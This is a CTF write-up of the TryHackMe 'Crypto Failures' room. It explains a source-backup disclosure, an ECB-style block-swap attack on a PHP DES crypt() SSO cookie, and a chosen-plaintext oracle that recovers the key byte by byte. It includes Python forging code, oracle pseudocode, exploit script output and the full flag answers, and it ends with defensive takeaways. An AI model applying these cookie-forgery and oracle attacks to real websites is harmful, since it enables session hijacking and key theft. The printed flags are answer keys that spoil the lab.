CTF Writeup

Crypto Failures

TryHackMe · Web / Cryptography · Medium · by 0xb0rn3

Platform TryHackMe Category Web / Cryptography — OWASP A02:2021 Difficulty Medium Target 10.112.136.152 Stack Apache 2.4.59 / PHP / DES crypt() SSO cookies Flags Web flag + Encryption key
0
Context

Overview

A web application protects its SSO cookie using PHP’s crypt() with 2-character DES salts — effectively creating ECB-mode block encryption where each 8-byte chunk is hashed independently. Two attacks chain from a source code backup disclosure: an ECB block-swap attack forges an admin cookie for the web flag, then a chosen-plaintext DES oracle recovers the encryption key byte-by-byte.

ATTACK CHAIN
index.php.bak → full PHP source disclosure
  ↓
Crypto scheme analysis: DES crypt() in ECB mode
  ↓
Exploit 1: ECB block swap (User-Agent: "00admin:")
  ↓
Forge admin cookie → web flag: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
  ↓
Exploit 2: DES chosen-plaintext oracle (byte-by-byte)
  ↓
154 oracle queries → full encryption key recovered
1
Reconnaissance

Port Scan & Initial Discovery

PortServiceVersion
22/tcpSSHOpenSSH 8.9p1
80/tcpHTTPApache 2.4.59 (Debian)

The web app sets two cookies on first request:

HTTP RESPONSE
Set-Cookie: secure_cookie=24IbbM0dsUr2I24DdrHxl58jWQ...
Set-Cookie: user=guest

SSO cookie is protected with traditional military grade encryption
<!-- TODO remember to remove .bak files-->

The 24 repeating every 13 characters hints at DES crypt output. The HTML comment points to backup files.

2
Source Disclosure

index.php.bak — Full Crypto Scheme

BASH
$ curl http://10.112.136.152/index.php.bak

Cookie generation:

PHP — make_secure_cookie()
// Cookie string: user + ":" + User-Agent + ":" + ENC_SECRET_KEY
// Each 8-byte chunk hashed independently with same 2-char salt

function make_secure_cookie($text, $SALT) {
    $secure_cookie = '';
    foreach (str_split($text, 8) as $el) {
        $secure_cookie .= crypt($el, $SALT);  // 13-char DES output per block
    }
    return $secure_cookie;
}

Verification & target:

PHP — verify_cookie()
function verify_cookie($ENC_SECRET_KEY) {
    $salt = substr($_COOKIE['secure_cookie'], 0, 2);
    $string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;
    return make_secure_cookie($string, $salt) === $crypted_cookie;
}

if ($user === "admin") {
    echo 'congrats: *** web flag ***';
}

The flaw: each 8-byte chunk is hashed independently with the same salt. This is structurally identical to ECB mode — blocks can be rearranged without detection.

3
Exploit 1

ECB Block Swap → Admin Cookie

By setting User-Agent: "00admin:" (exactly 8 chars), Block 2 of the guest cookie matches Block 1 of an admin cookie:

BlockGuest (UA: "00admin:")Admin (UA: "")
1guest:00admin::K ← = Block 2!
2admin::KKEY[1:9] ← = Block 3!
3KEY[1:9]KEY[9:17]

Attack: Drop Block 1, use Blocks [2..N] as admin cookie.

PYTHON
# Step 1: Get guest cookie with aligned User-Agent
r1 = requests.get(TARGET, headers={"User-Agent": "00admin:"}, allow_redirects=False)
raw = unquote(r1.cookies.get('secure_cookie'))
blocks = [raw[i:i+13] for i in range(0, len(raw), 13)]

# Step 2: Forge admin cookie (skip block 0)
admin_cookie = ''.join(blocks[1:])

# Step 3: Send with user=admin, empty User-Agent
r2 = requests.get(TARGET,
    cookies={"user": "admin", "secure_cookie": admin_cookie},
    headers={"User-Agent": ""},
    allow_redirects=True)

congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key.
 Web Flag
THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
4
Exploit 2

DES Chosen-Plaintext Oracle → Key Recovery

Since each DES block is independent and we control User-Agent length, we can position each unknown key byte as the last byte of a block where the preceding 7 bytes are known. Brute-force one character at a time.

Technique Chosen-plaintext sliding window oracle Oracle PHP crypt() DES — 1 HTTP request per byte Queries 154 requests total Charset Printable ASCII
ALGORITHM
For each KEY[i]:
  L  = (8 - i%8) % 8         # UA padding to align byte
  UA = "A" * L
  GET / with User-Agent: UA   # server generates cookie
  Extract target block + salt
  Build 7-byte known prefix   # "guest:" + UA + ":" + recovered_key[0..i-1]
  For each printable char c:
    if des_crypt(prefix + c, salt) == block_hash:
      KEY[i] = c; break       # one byte recovered
RESULT
THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}
 Encryption Key
THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}
Visualization

Attack Chain

1
Source Disclosure
index.php.bak → full crypto scheme, cookie generation logic
2
Crypto Analysis
DES crypt() in ECB mode — independent 8-byte blocks, same salt
3
ECB Block Swap
User-Agent: "00admin:" → forge admin cookie → Web flag
DES Oracle → Full Key
154 chosen-plaintext queries → Encryption key recovered byte-by-byte
Assessment

Vulnerabilities

FindingLocationSeverityImpact
ECB-mode DES crypt() cookie schememake_secure_cookie()CriticalBlock swap forges admin session cookie
Chosen-plaintext DES oraclecrypt() per-blockCriticalFull encryption key recovered byte-by-byte
Source code backup disclosureindex.php.bakHighExposes full crypto scheme, salt logic, key usage
DES crypt for session integrityCookie authHighcrypt() is for password hashing, not message auth
Defense

Takeaways

Never Roll Custom Crypto
Use established authenticated encryption (AES-GCM, ChaCha20-Poly1305). PHP’s crypt() is for password hashing, not session tokens.
ECB Mode Is Always Broken
Independent block encryption allows reordering, swapping, and oracle attacks. Use CBC/CTR/GCM with random IVs.
Remove Backup Files
.bak, .old, ~ files in webroot expose source code. Keep them outside the document root.
Integrity Over All Fields
Session integrity must cover all cookie fields together with HMAC, not hash each independently.
Automation

Full Exploit Script

BASH
$ python3 crypto_failures_auto.py --no-vpn

[*] Phase 1: Web Flag (ECB block-swap attack)
    Got 23 DES blocks (salt: 24)
[+] WEB FLAG: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}

[*] Phase 2: Encryption Key (DES block oracle, byte-by-byte)
    Progress: [154] ...f52fd2140525b9}
[+] ENC KEY: THM{Traditional_Own_Crypto_is_Always_Surprising!...}

View source on GitHub

Arsenal

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlSource backup retrieval, HTTP testing
python3 + requestsECB block-swap cookie forgery
python3 + passlibDES crypt oracle brute-force
crypto_failures_auto.pyFull automated exploit (both phases)